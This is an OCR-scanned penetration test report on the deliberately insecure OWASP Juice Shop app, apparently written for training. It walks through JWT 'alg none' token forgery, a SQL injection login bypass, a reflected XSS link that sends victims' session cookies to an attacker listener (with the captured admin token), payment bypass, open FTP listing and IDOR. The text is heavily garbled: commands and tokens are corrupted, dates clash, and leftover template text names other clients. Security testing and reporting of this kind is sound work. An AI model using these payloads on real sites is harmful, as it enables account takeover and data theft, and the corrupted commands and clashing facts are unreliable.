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Confidentiality Statement

This document is the exclusive property of Juice Shop and NESMATE. This document contains
proprietary and confidential information. Duplication, redistribution, or use, in whole or in part, in any
form, requires consent of both Juice Shop and NESMATE.

Juice Shop may share this document with auditors under non-disclosure agreements to demonstrate
penetration test requirement compliance.

Disclaimer

A penetration test is considered a snapshot in time. The findings and recommendations reflect the
information gathered during the assessment and not any changes or modifications made outside of
that period.

Time-limited engagements do not allow for a full evaluation of all security controls. NESMATE
prioritized the assessment to identify the weakest security controls an attacker would exploit.
NESMATE recommends conducting similar assessments on an annual basis by internal or third-party
assessors to ensure the continued success of the controls.

Contact Information

Name Title Contact Information
NESMATE
Kamil Bernasinski | Penetration Tester | Email: kamil.bernasinski@nesmate.com
ICE SHOP
JUICE SHO Page 4 of 34
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Assessment Overview

From December 21th, 2024 to January 4th, 2021, Juice Shop engaged NESMATE to evaluate the
security posture of its infrastructure compared to current industry best practices that included an
internal network penetration test. All testing performed is based on the OWASP Testing Guide (v4),
and customized testing frameworks.

Phases of penetration testing activities include the following:

e Planning - Customer goals are gathered and rules of engagement obtained.

e Discovery - Perform scanning and enumeration to identify potential vulnerabilities, weak
areas, and exploits.

o Attack - Confirm potential vulnerabilities through exploitation and perform additional
discovery upon new access.

e Reporting - Document all found vulnerabilities and exploits, failed attempts, and company
strengths and weaknesses.

Additional Discovery
v

4’—’

Assessment Components
Internal Penetration Test

An internal penetration test emulates the role of an attacker from inside the network. An engineer
will scan the network to identify potential host vulnerabilities and perform common and advanced
internal network attacks, such as: LLMNR/NBT-NS poisoning and other man- in-the-middle attacks,
token impersonation, kerberoasting, pass-the-hash, golden ticket, and more. The engineer will seek
to gain access to hosts through lateral movement, compromise domain user and admin accounts,
and exfiltrate sensitive data.

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)
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Finding Severity Ratings

The following table defines levels of severity and corresponding CVSS score range that are used
throughout the document to assess vulnerability and risk impact.

CVS§s V3

Score Range Definition

Severity

Exploitation is straightforward and usually results in system-level
Critical 9.0-10.0 compromise. It is advised to form a plan of action and patch
immediately.

Exploitation is more difficult but could cause elevated privileges and
High 7.0-8.9 potentially a loss of data or downtime. It is advised to form a plan of
action and patch as soon as possible.

Vulnerabilities exist but are not exploitable or require extra steps such
4.0-6.9 as social engineering. It is advised to form a plan of action and patch
after high-priority issues have been resolved.

Vulnerabilities are non-exploitable but would reduce an organization’s
Low 0.1-3.9 attack surface. It is advised to form a plan of action and patch during
the next maintenance window.

No vulnerability exists. Additional information is provided regarding
Informational N/A items noticed during testing, strong controls, and additional
documentation.

Risk Factors

Risk is measured by two factors: Likelihood and Impact:

Likelihood

Likelihood measures the potential of a vulnerability being exploited. Ratings are given based on the
difficulty of the attack, the available tools, attacker skill level, and client environment.

Impact

Impact measures the potential vulnerability’s effect on operations, including confidentiality, integrity,
and availability of client systems and/or data, reputational harm, and financial loss.

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)

Page 6 of 34



—e

.l. NESMATE
—0 SECURITY
o—

Scope

Assessment Details

Internal Penetration Test http://juiceshop.com

Scope Exclusions

Per client request, NESMATE did not perform any of the following attacks during testing:
e Denial of Service (DoS)
e Phishing/Social Engineering

All other attacks not specified above were permitted by Juice Shop.

Client Allowances
Juice Shop provided NESMATE the following allowances:
e Internal access to the application by providing the following accounts:

- user@juiceshop.com (regular user)

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)
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Executive Summary

TCMS evaluated Demo Corp’s internal security posture through penetration testing from February
21th, 2023 to January 04th, 2024. The following sections provide a high-level overview of
vulnerabilities discovered, successful and unsuccessful attempts, and strengths and weaknesses.

Scoping and Time Limitations

Scoping during the engagement did not permit denial of service or social engineering across all
testing components.

Time limitations were in place for testing. Internal network penetration testing was permitted for ten
(10) business days.

Testing S ummary

The testing on OWASP Juice Shop revealed several security vulnerabilities, which is expected for a
deliberately insecure application. The findings provide valuable insights into common security issues
and serve as an excellent resource for educational purposes. The recommendations aim to assist
developers and organizations in enhancing the security posture of their applications. Regular testing
and adherence to secure coding practices are crucial for maintaining a robust and resilient
application against potential security threats.

For further information on findings, please review the Technical Findings section.

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)
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Vulnerability S ummary & Report Card

The following tables illustrate the vulnerabilities found by impact and recommended remediations:

Internal Penetration Test Findings

Critical High

Medium

Low Informational

Finding

NF-2.1: Authentication Bypass using
malicious JWT token

NF-2.2: Authentication Bypass using
SQL Injection

NF-2.3 Reflected Cross Site Scripting

NF-2.4 Payment Bypass

NF-3.1 Sensitive Information

Severity

Recommendation
Verify the token's signature, issuer,
and expiration date to prevent
tampering and unauthorized access.

Use parameterized queries or
prepared statements: Ensure that all
SQL queries are parameterized to
prevent attackers from injecting
malicious SQL code.

Implement and strictly enforce input
validation and output encoding
mechanisms to sanitize user inputs
before displaying them on web pages.

Ensure the data is also validated on
the server side of the application.

Ensure that your FTP server is
configured securely. Disable

BUSINESS CONFIDENTIAL

Disclosure (Unauthorized FTP access) SEE I anonymous FTP access, and use
strong authentication mechanisms.
Implement secure communication by
enabling HTTPS on your web
- server. This ensures that data
NF-3.2 Sensitive Data Sent Through . . .
Medium transmitted between the client and
Unencrypted Channel : )
server is encrypted, preventing
eavesdropping and man-in-the-middle
attacks.
NF-3.3 Insecure Direct Object Imple_ment proper acce_s§ controls:
o , : Restrict access to sensitive
Reference (Viewing another user’s Medium . .
information based on user roles and
basket) s
responsibilities. Ensure that users only
JUICE SHOP

Page 9 of 34
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have access to their own data.

Adjust the difficulty level of captchas
based on the sensitivity of the
operation. Apply rate limiting
mechanisms to restrict the number of
captcha-solving attempts within a
specific time frame.

NF-3.4 Captcha Bypass Medium

Replace detailed error messages with
generic or custom error pages. Avoid
displaying stack traces, database
details, or other internal information to
users.

NF-4.1 Verbose Error Messages

Apply the principle of least privilege by
enforcing strict access controls. Only
grant access to individuals who
require the data for their specific roles
and responsibilities.

NF-4.2 Sensitive Data Exposure
(Prometheus)

Regularly check for updates and
security patches for all JavaScript
libraries used in your application.
Ensure that you are using the latest
versions to benefit from bug fixes and
security enhancements.

NF-5.1 Outdated JavaScript Libraries Informational

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)

Page 10 of 34



—e

.l. NESMATE
—0 SECURITY
o—

Technical Findings

Penetration Test Findings
NF-2.1: Authentication Bypass using malicious JWT token (High)

Description: Authentication Bypass using a malicious JSON Web Token (JWT) involves

exploiting vulnerabilities in the token-based authentication system. In this
scenario, attackers craft a specially manipulated JWT, embedding deceptive or
forged information, to trick the authentication mechanism into granting
unauthorized access. This method allows malicious actors to navigate past
authentication checkpoints undetected, potentially compromising sensitive
data, user accounts, or system resources. In this case the application allow user
authorize the request without signature.

Tools Used: Burp Suite, Cookie Editor, JWT_TOOL

References: WSTG-ATHN-04 https://owasp.org/www-project-web-

security-testing-guide/latest/4-
Web_Application_Security_Testing/04-
Authentication_Testing/04-

Testing for Bypassing Authentication Schema.html

Remediation Verify the token's sighature, issuer, and expiration date

to prevent tampering and unauthorized access.

Evidence

As you can see in the picture below attacker is logged in as user@juiceshop.com.

& OWASP Juice Shop x o+

C A Niezabezpieczona  juiceshop.com:3000/#/: h eeth % » A 0 2 :

.} OWASP Juice Shop Q. @ Account W Yourbasket @ EN

@ user@juiceshop.com

All Products @  Orders & Payment »
e Privacy & Security »

() Logout

Apple Juice
(1000ml)

Banana Juice

Apple Pomace (1000ml)

JUICE SHOP
BUSINESS CONFIDENTIAL Page 11 of 34
Copyright © NESMATE (nesmate.pl)
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User take his session token using Cookie Editor.

& OWASP Juice Shop x  +
C A Niezabezpieczona  juiceshop.com:3000/#/:

Cookie Editor

._. OWASP Juice Shop

Q  search

¥ continueCode

¥ cookieconsent_status

All Products

v language
lue
€yJ0eXAIOIIKV1QILCINbGCIONSUZINIJ9. ey)zdGFOAXMIOIIZAWN]ZXNZTiwi
Apple Juice o Mok
{1000mi) Apple Pomace
0.890
1.994 v selcomet atus

Attacker tamper the session cookie using JWT_Tool

[kamil@EMacBook-Pro-Kamil jwt_tool % python3 jwt_tool.py eyJ@eXAi0iJKV1QiLCJhbGciO]
1JSUzIINiJ9.eyJzdGFOdXMi0iJzdWNjZXNzIiwiZGFRYSIbeyJpZCI6MjIsInVzZXJuYW1lIjoidGVz
dCIsImVtYWlsIjoidXNlckBqdwljZXNob3AuY29tIiwicGFzc3dvemQiOiImNDUwODQOYzg4N2UxMTcz
MTA4YTAYNjYwMmYyNDd1MyIsInJvbGUi0iJjdXN@b211lciIsImR1bHV4ZVRva2VuljoiliwibGFzdExv
Z21uSXAi0iJ1bmR1Zm1luZWQiLCJIwcm9maWx1SW1hZ2UiO0iIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBs
b2Fkcy9kZWZhdWx@LnN2ZyIsInRvdHBTZWNYZXQi0iIiLCJIpcOFjdG12ZSI6dHI1ZSwiY3J1YXR1ZEF@
IjoiMjAyNCOWMSOWMiAyMjo1NzoINC4zNTIgKzAwOjAwWIiwidXBKYXR1ZEFQIjoiMjAyNCOWMSOwWMiAy
Mz0o00ToyNy4zNjUgKzAwOjAWIiwiZGVsZXR1ZEFOIjpudWxsfSwiaWF@IjoxNzAOMjQwOTg2fQ.Hutqk
yEEFsQK-cpfvV8FjQ8xSX68SEfmydTc—6muF6MHXDUjs3wfiBEbJ1csRRxFzmioWQLPXJTg_PYA16Vf8
Y-j9mTHAifdeF5Tfru6olXuvqrETZUXip3VzbTPOPYdO9H93jpUftHRYISBI3jreVBHEK__tBbQJr2Lh
erxdou -T

User change alg from RS256 to none

I A
| Current value of alg is: RS256
" Please enter new value and hit ENTER

| > non
\ ‘ 1 i +vun

\[2] alg "none"
[3] xADD A VALUEx*
[4] *xDELETE A VALUEx
[@0] Continue to next step

User change email to another user’s email
Current value of email is: user@juiceshop.com

Please enter new value and hit ENTER
> user2Qjuiceshop.comli

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)

Page 12 of 34



—e

.l. NESMATE
—0 SECURITY

User delete the signature

[kamil@MacBook-Pro-Kamil jwt_tool % python3 jwt_tool.py eyJ@eXAi0iJKV1QiLCJhbGciO]
iJub251In@.eyJzdGFOdXMi0iJzdWNFZXNzIiwiZGFOYSI6eyJpZCI6MjIsInVzZXJuYW1llIjoidGVzd
CIsImVtYWlsIjoidXNlcjJAanVpY2VzaGO9wLmNvbSIsInBhc3N3b3JkIjoiZjQ1MDgONGM40Dd1MTE3M
ZEWOGEWMjY2MDImMMjQ3ZTMiLCJyb2x1IjoiY3VzdG9tZXIiLCIkZWx1eGVUb2t1lbiI6IiIsImxhc3RMb
2dpbklwIjoidwWs5kZWZpbmVkIiwicHIvZmlsZUltYWd1IjoilL2Fzc2VOcy9wdWIsaWMvawWlhZ2VzL3Vwb
G9hZHMVZGVmYXVsdC5zdmcilLCJIOb3RwWU2VjcmVOIjoiIliwiaXNBY3RpdmUiOnRydwWUsImNyZWFOZWRBd

CI6IjIwMjQtMDEtMDIgMjI6NTc6NTQuUMzUYICswMDowMCIsInVwWZGFOZWRBACIAIjIwMjQtMDEtMDIgM
jM6NDk6MjcuMzY1ICswMDowMCIsImR1bGVOZWRBACI6bnVsbHASIm1hdCIAMTcwNDIOMDk4NNO . Hutgk
yEEFsQK-cpfvV8FjQ8xSX68SEfmydTc—6muF6MHXDUjs3wfiBEbJ1csRRxFzmioWQLPXJTg_PYA16Vf8
Y—j9mTHAifdiF5Tfru601XuvqrETZUXip3VzbTPOPYd09H93jprtHRYJSBJSjreVBHEK__tBbQJrZLh
erxdoU -X n

User swap the original token with modified token

& OWASP Juice Shop x  +
juiceshop.com:3000/#/search
. Cookie Editor
OWASP Juice Shop
d Q Search
v continueCode
~ cookieconsent_status

All Products

v language

Gick for more nformation
~  token
Name
token
Value
eyJ0eXAIOIIKV1QILCINbGCiOub25IInD.eyJzdGFOAXMIOZAWN]ZXNZIiwiZ
. i o
Apple Juice i
Apple Pom: ]
{000mi) pple Pomace VpY2VZ3COMLNBSISInBCINIb3IKIOZIQIMDGONGHAODAIMTESNYzEw
0.890
e v welcomebanner_status
+ 5

C A Niezabezpieczona juiceshop.com:3000/#/ h A » A0 2

._. OWASP Juice Shop Q@ Account W YourBasket @ EN

@  user2@juiceshop.com

All Products @ Orders & Payment >
@ Privacy & Security >

() Logout

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)
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NF-2.2: Authentication Bypass using SQL Injection

Description: Authentication Bypass using SQL Injection is a cybersecurity vulnerability that
arises when an attacker leverages SQL injection techniques to manipulate the
authentication process of a web application or system. In this scenario, an
unauthorized user can gain access to secured areas or functionalities without
providing valid credentials. SQL injection involves injecting malicious SQL
queries into input fields, exploiting vulnerabilities in the application's code that
improperly handles user input.

Tools Used: Burp Suite

References: WSTG-ATHN-04 https://owasp.org/www-project-web-
security-testing-guide/latest/4-
Web_Application_Security_Testing/04-
Authentication_Testing/04-

Testing for Bypassing Authentication Schema.html

Remediation Use parameterized queries or prepared statements: Ensure that all SQL queries
are parameterized to prevent attackers from injecting malicious SQL code.

Evidence

User provide another user login and at the end of it add ‘or 1=1 - SQL query. User also provide
any characters in password field.

@ OWASP Juice Shop X +

& C' A Niezabezpieczona juiceshop.com:3000/#/login

= . OWASP Juice Shop

Login

Email *

admin' or 1=1--

Passwor d *

Forgot your password?

5] Login

[ Remember me

Not yet a customer?

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)
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Attacker logged in as administrator

# OWASP Juice Shop x  +

C A Niezabezpieczona juiceshop.com:3000/#/search e Mh % » A O 2 :

.. OWASP Juice Shop © Account W YourBasket @ EN

@  admin@juice-sh.op
All Products @  Orders & Payment »
@ Privacy & Security »

() Logout

Admin’s panel

& OWASP Juice Shop L

C A Niezabezpieczona juiceshop.com:3000/#/administration h % & A0 2 :

= B owasP Juice Shop P

Administration

Registered Users Customer Feedback

ove this shop! Best products in town! Highly rec-
ommended! (**in@juice-sh.op)

Great shop! Awesome service! (*"@]uice-sh.op)

Nothing useful available herel (““der@juice-sh.op) Y

Please send me the juicy chatbot NFT in my wallet
at /juicy-nft : "purpose betray marriage blame...

Incompetent customer support! Can't even upload ey

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)
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NF-2.3 Reflected Cross Site Scripting

Description:

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious
scripts are injected into otherwise benign and trusted websites. XSS attacks
occur when an attacker uses a web application to send malicious code,
generally in the form of a browser side script, to a different end user. Flaws that
allow these attacks to succeed are quite widespread and occur anywhere a web
application uses input from a user within the output it generates without
validating or encoding it.

Tools Used:

Burp Suite

References:

WSTG-INPV-01 https://owasp.org/www-project-web-security-testing-
guide/latest/4-Web Application_Security Testing/07-
Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site Scripting

Remediation

Implement and strictly enforce input validation and output encoding
mechanisms to sanitize user inputs before displaying them on web pages.

Evidence

User is able to inject malicious HTML tag with JavaScript code in g parameter.

It can be used to steal another user’s session token in the following way:

(o | .

Attacker start listening on port 1337 using the following command:

jwt_tool — nc -11337 — 80x24

kamil@eMacBook-Pro-Kamil jwt_tool % nc -1 1337

Attacker send the following link to the victim:
http://juiceshop.com:3000/#/search?q=%3Cimg%20src%3Dx%200nerror%3Dthis.src%3D'http:

%2F%2F192.168.0.111:1337%2F%3Fc%3D'%2Bdocument.cookie%3E

JUICE SHOP
BUSINESS CONFIDENTIAL
Copyright © NESMATE (nesmate.pl)
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When the victim enter the link script execute.

# OWASP Juice Shop x 4+ v

C A Niezabezpieczona  juiceshop.com:3000/#/search?q=<img%20src%3Dx%200nerror%3Dthis.src%3D"http:%2F%2F192.168.0.111:1337%2F %3Fc%3D' % 2Bdocument.cookie> h* * &0 2 :

6
. OWASP Juice Shop <img sro=x onerror=this sro="httpi//192.1 X € Account W YourBasket @ EN

Search Results -

When victim entered the link an attacker got his session token.
[ jwt_tool — nc -11337 — 80x24

[kamil®eMacBook-Pro-Kamil jwt_tool % nc -1 1337 |

GET /?c=language=en;%20welcomebanner_status=dismiss;%20cookieconsent_status=dism

iss;%20token=eyJ0eXAi0iJKV1QiLCJIhbGci0iJSUzIINiJ9.eyJzdGFOdXMi0iJzdWNjZXNzIiwiZG
FOYSI6eyJpZCI6MSwidXN1cm5hbWUiOiIiLCJ1bWFpbCI6ImFkbWluQGplaWN1LXNoLm9wIiwicGFzc3

dvemQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUXNmYWNj1lkZjE4YjUWMCIsInJvbGUi0iJhZG1pbiIsImR1bH

V4ZVRva2VuIljoiIliwibGFzdExvZ21uSXAi0iIiLCIwcm9maWx1SW1hZ2Ui0iJhc3N1dHMvcHVibGljL2

1tYWdlcy91cGxvYWRzL2R1ZmF1bHRBZG1pbi5SwbmcilLCJ@b3RwWU2VjcmVOIjoiIiwiaXNBY3RpdmUiOn

RydWUsImNyZWFO@ZWRBACI6IjIwMjQtMDEtMDIgMjI6NDESNTQUOTALICSWMDowMCIsINnVWZGFOZWRBAC
I6IjIwMjQtMDEtMDIgM]jI6ONDESONTQUOTALICSWMDowWMCIsImR1bGVOZWRBACI6bnVsbHOSIm1hdCI6MT

cwNDIOMTM3N30.EbcQOmk5HLgés75uiVoXjCoolaTnQeZVzd@1EepmXyCvOgnqrcWIkT21yrTG6TS422

JXZoYt4scnw—900fBH_wxxH6Wyché6taqiMrTzDic@frvQsc3ouWgseBCS1BOmhOD-uASFt3gOollefoV
REN@s30n7A9HiCOMh2XvBMioE ; %20continueCode=1ZwBLrKqWXamDEzy0O9RgGm7tgfnKuDnIbOtpXi

X6A02M36xjVQbIVvkIN87pP HTTP/1.1

Host: 192.168.0.111:1337

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/120.0.6099.71 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/%;q=0.8
Referer: http://juiceshop.com:3000/

Accept-Encoding: gzip, deflate, br

Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

Connection: close

Attacker swap his session token.

i OWASP Juice Shop x  +
C A Niezabezpieczona juiceshop.com:3000/#/search

Cookie Editor

.‘ OWASP Juice Shop

All Products

Apple Juice Apple Pomace aWNILXNoLm9wliwicGFzc3dvemQiOIwMTkyMDIZYTdiYmQ3MzIIMDUXN
(1000ml) ‘Show Advanced
0.89a
1.89a ¥ welcomebanner_status
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Victim’s account stolen.

# OWASP Juice Shop x  +

C A Niezabezpieczona juiceshop.com:3000/#/search

h & » A O 2
.' OWASP Juice Shop

6
Q @ Account W Your Basket & EN

All Products

@  admin@juice-sh.op
© Orders & Payment »
e Privacy & Security »

() Logout

Apple Juice Banana Juice
(1000mi)

Apple Pomace (1000ml)

JUICE SHOP

BUSINESS CONFIDENTIAL Page 18 of 34
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NF-2.4 Payment Bypass

Description: An attacker is able to bypass the payment functionality. Payment status is not

validated properly on the backend side.

Tools Used: Burp Suite

References: WSTG-BUSL-01 https://owasp.org/www-project-web-security-testing-

guide/v42/4-Web_Application _Security Testing/10-

Business_Logic_Testing/01-Test Business_Logic_Data_Validation

Remediation Ensure the data is also validated on the server side of the application.

Evidence

Attacker click checkout with any items from the shop.

(] § OWASP Juice Shop x +

& > C A Niezabezpieczona juiceshop.com:3000/#/basket

= . OWASP Juice Shop

Your Basket (user@juiceshop.com)

Apple Juice (1000ml)

Attacker set any address.

[ ] @ OWASP Juice Shop x 4+

& > C' A Niezabezpieczona juiceshop.com:3000/#/address/select

= . OWASP Juice Shop

Select an address

Adress 1

+ Add New Address

Total Price: 1.99a

& Checkout

0 Bonus Points from this order!

plac Ratuszowy 1, 43-300 Bielsko-Biata, Bielsko-Biata, $Iqskie,

43-300 Poland

> Continue

JUICE SHOP
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Attacker set any delivery speed.

# OWASP Juice Shop x +

A Niezabezpieczona  juiceshop.com:3000/#/delivery-method

.‘ OWASP Juice Shop

Delivery Address

Adress 1

plac Ratuszowy 1, 43-300 Bielsko-Biata, Bielsko-Biata, Slaskie, 43-300
Poland

Phone Number 123456789

Choose a delivery speed
Expected Delivery

f One Day Delivery 1 Days
b Fast Delivery 3 Days

® Standard Delivery 5 Days

> Continue

Attacker inspect element and remove disable="true” in the button HTML tag.

# OWASP Juice Shop x +

C A Niezabezpieczona juiceshop.com:3000/#/payment/shop = fh % » A0 2

.’ OWASP Juice Shop Q@ Account W Your Basket S en

My Payment Options

Add new card Add a credit or debit card
Pay using wallet Wallet Balance

Add a coupon Add a coupon code to receive discounts
Other payment options

You can review this order before it is finalized.

O L L e I 0N Always match Chrome's language J Switch DevTools to Polish

i [0 Elemer Recorder Console  Sources  Network  Performance ~ Memory ~ Application  Security Lighthouse ~ Cookie Editor ~ DOM Invader w1 @

Styles Computed Layout Event Listeners 5>
_ngcontent-ytj-c101 ro e 0 aria-orientation =
nsion-panel _ngcontent-ytj-c101 cl : n 0 31 s : > thov .cls +, Q@ [
b
.bluegrey-lightgreen-theme .mat-  styles.css:d
¥ tton.mat
</button> not( [clas: elevation-z]) {
o btn nextButton mat-button ma 3 003
0 0 700000024, LJ0 0 W#0000001f;
mat-button-wrapp
pan matripple cla —ripple mat-butt bple” styles.css:d
button-fo

—c101 style="text-a

<« hserted app card.ma a a d di u us-indicator.btn.nextButton.mat-butt
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& OWASP Juice Shop x  +

C A Niezabezpieczona  juiceshop.com:3000/#/order-summary

._y OWASP Juice Shop

Your Basket (user@juiceshop.com)
Order Summary

Items
Apple Juice (1000ml)
Delivery

Promotion

Total Price

ePIace your order and pay

You will gain 0 Bonus Points from this order!

Order successful.

# OWASP Juice Shop x  +

C' A Niezabezpieczona juiceshop.com:3000/#/order-completion/f450-47dce8e2887d2536

.J OWASP Juice Shop

Delivery Address

Adress 1

plac Ratuszowy 1, 43-300 Bielsko-Biata, Bielsko-Biata,
Slaskie, 43-300

Poland

Phone Number 123456789

Your order has been placed and is being processed. You can check for status updates on
our Track Orders page.

Order Summary

Product Quantity Total Price

Apple Juice (1000mi)

Items

Delivery

Promotion

Total Price

You have gained 0 Bonus Points from this order!
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NF-3.1 Sensitive Information Disclosure (Unauthorized FTP access)

Description: An attacker can get access to ftp server without proper permissions. On the
share can be observed files with sensitive data.

Tools Used: Burp Suite, Dirb

References: A3:2017-Sensitive Data Exposure https://owasp.org/www-project-top-
ten/2017/A3_2017-Sensitive_Data_Exposure

Remediation Ensure that your FTP server is configured securely. Disable anonymous FTP
access and use strong authentication mechanisms.

Evidence

Attacker is able to download files from ftp server which are listed below.
Link: http://juiceshop.com:3000/ftp

# OWASP Juice Shop

X @ listing directory fftp/ x # OWASP Juice Shop

< C A Niezabezpieczona  juiceshop.com:3000/ftp/

~/ftp/
quarantine acquisitions.md announcement_encrypted.md
coupons_2013.md.bak eastere.gg encrypt.pyc
incident-support.kdbx legal.md J~ order_d20c-a1862114e5a102e3.pdf
)| order_d20c-af3007ee8c53836¢.pdf package.json.bak suspicious_errors.yml

The vulnerability has been found using command dirb https.//juiceshop.com:3000

http://juiceshop.com:3000

DIRB v2.22
By The Dark Raver

START_TIME: Sat Dec 3
URL_BASE: http://juic

0 14:50:11 2023
eshop.com:3000/

WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

Scanning URL: ht

+ o+ F o+ o+

END_TIME: Sat Dec 30
DOWNLOADED: 4612 - FOUND: 9

tp://juiceshop.com:3000/ ——

http //Julceshop com:3000/assets (CODE:301|SIZE:179)

[tp (CODE:200|SIZE:12512)

http://Ju1ceshop.com.3000/prof11e (CODE:500|SIZE:1154)

http://juiceshop.com:3000/promotion (CODE:200|SIZE:6586)
http://juiceshop.com:3000/redirect (CODE:500|SIZE:3119)
http://juiceshop.com:3000/robots.txt (CODE:200|SIZE:28)
http://juiceshop.com:3000/snippets (CODE:200|SIZE:792)

http://juiceshop.com:3000/video (CODE:200|SIZE:10075518)
http://juiceshop.com:3000/Video (CODE:200|SIZE:10075518)

14:50:29 2023

JUICE SHOP
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NF-3.2 Sensitive Data Sent Through Unencrypted Channel

Description: Unencrypted communication channels can expose confidential data to
attackers. This discovery sheds light on the various scenarios where sensitive
information, such as personal identifiable information is exposed.

Tools Used: Burp Suite

References: WSTG-CRYP-03 https://owasp.org/www-project-web-security-testing-
guide/latest/4-Web_Application_Security Testing/09-

Testing for_Weak_Cryptography/03-
Testing for_Sensitive_Information_Sent_via_Unencrypted_Channels

Remediation Implement secure communication by enabling HTTPS on your web server. This

ensures that data transmitted between the client and server is encrypted,
preventing eavesdropping and man-in-the-middle attacks.

Evidence

As we can see in the picture below the site does not use https.

i OWASP Juice Shop X +

C' (A Niezabezpieczona ' juiceshop.com:3000/#/

juiceshop.com:3000

A Twoje potaczenie z tg witryng nie jest bezpieczne
Nie podawaj zadnych informacji poufnych (takich jak hasta czy dane kart
kredytowych) w tej witrynie, bo osoby atakujgce bedg mogty je wykrasé. Find

out more

Ostrzezenia dotyczgce zabezpieczen tej

strony zostaty wytgczone. Wtgcz ostrzezenia
@ Pliki cookie i dane witryn

£ Ustawienia witryn

Apple Juic

f4 NN 1\
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NF-3.3 Insecure Direct Object Reference (Viewing another user’s basket)

Description:

This can occur when a web application or application programming interface
uses an identifier for direct access to an object in an internal database but does
not check for access control or authentication. For example, if the request URL
sent to a web site directly uses an easily enumerated unique identifier that can
provide an exploit for unintended access to all records.

Tools Used:

Burp Suite

References:

WSTG-ATHZ-04 https://owasp.org/www-project-web-security-testing-
guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-
Testing_for_Insecure_Direct_Object References

Remediation

Implement proper access controls: Restrict access to sensitive information
based on user roles and responsibilities. Ensure that users only have access to
their own data.

Evidence

Attacker go to his basket.

° & OWASP Juice Shop

< C' A Niezab

x 4

juiceshop.com:3000/#/basket

= . OWASP Juice Shop

Your Basket

Total Price: 0a

You will gain 0 Bonus Points from this order!
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Attacker intercerpt the request with Burp Suite.

y Request to http://juiceshop.com:3000 [172.16.244.2]

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

GET /rest/basket/7 HTTP/1.1

Host: juiceshop.com:3000

Accept: application/json, text/plain, */x
Authorization: Bearer

AWN R

j2q2r8fdVRs4HQyW10uvJjdeb6plekX8f4x7ps0_0hkS3P@

e}

Safari/537.36
Referer: http://juiceshop.com:3000/ Scan
Accept-Encoding: gzip, deflate, br Send to Intruder
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=
aj4QD04Ky0qPJ73j2novp9EQ38gYVAI 1GM1wWxa IND5 reZRLzmXk6BbmzZRb3; token= Send to Sequencer
€yJ0eXAi01JKV1QiLCIhbGCi0iISUZIINII. eyIzdGFOAXMi0iIzdWNjZXNZTiwiZGFOYST  Send to Comparer
1c2VyQGplaWN1lc2hvcC5jb20ilCIwYXNzd29yZCI6ImYONTA4NDR]jODg3ZTEXNZMXMDhhMDT
sdXh1V69rZWAi01TiLCISYXNOTGINaW5I cCI6Ij AuMCAwLALLCIwcmOmakix 1SWihz2uioil — Send to Decoder
hdWx@LnN2ZyIsInRvdHBTZWNYyZXQi0iIilCIpc@FjdG12ZSI6dHI1ZSwiY3JI1YXR1ZEFOIjo Send to Organizer
idXBKYXR1ZEFQIjoiMjAyNCOWMSOWMiAyM]jo1NzoINC4ZNTIgKzAw0jAwWIiwiZGVsZXR1ZER
dM_G8Z_4-5RINQ69C-hQ31xK8kfe9udYyRELhE_4b9wSNML3CP2Brwx3C04Pw_EbbTcJIS0l .
j2q2r8fdVRs4HQyW10uvJjdeb6plekx8fax7ps0_0hkS3P0 Request in browser

© o~

Send to Repeater

Insert Collaborator payload

11 Connection: close
12
13 Change body encoding

Change request method

eyJ0eXAi0iJKV1QiLCIhbGci0iJSUZIINiJ9.eyJzdGFOdXMi0ilzdWNjZXNzIiwiZGFOYSI6eyIpZCI6MjIsInVzZXIuYW1lIjoiliwiZWlhaWwi0id
1c2VyQGplaWN1lc2hvcC5jb20iLCIwYXNzd29yZCI6ImYONTA4NDRjODg3ZTEXNZMXMDhhMDI2NjAYZj ION2UzIiwicm9sZSI6ImN1c3RvbWVYIiwiZGV
sdXh1VGIrZw4i0iIilCIsYXNOTGInaW5]cCI6IjAuMCAwLjALILCIwemImaWx 1SW1hZ2Ui0iIvYXNzZXRzL3B1YmxpYy9pbWFnZXMvdXBsb2Fkcy9kZwzZ
hdWx@LnN2ZyIsInRvdHBTZWNYZXQi0iIilCIpcOFjdG12ZSI6dHI1ZSwiY3I1YXR1ZEFOI]joiMjAYNCOWMSOWMiAyMjoINZoINC4ZNTIgKzAWO]AwIiw
1dXBKYXR1ZEFQIjoiMjAyNCOWMSOWMiAyMjoINzoINC4ZNTIgKzAw0]jAWIiwiZGVsZXR1ZEFQIjpudwxs fSwiaWFOIjoxNzAGMjM2NzQxfQ.t_OrtzFX
dM_G8Z_4-5RINQ69C-hQ31xK8kfe9udYyREIhE_4b9wSNML3CP2Brwx3C04Pw_EbbTcJIISOMXOUk]jDc_T3aoRKgJc2fOpC-tGOUHkZ3KhA1Qn6xNoBox

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71

10 If-None-Match: W/"212-pB9Ztuuhbx20/9ZqqStkBFETar8" Engagement tools [Pro version only] >

8

~#R

iZWlhaWwiOil
VvbWVyIiwiZGV
sb2Fkcy9kzZwz
~%80 gKzAWOjAwIiw
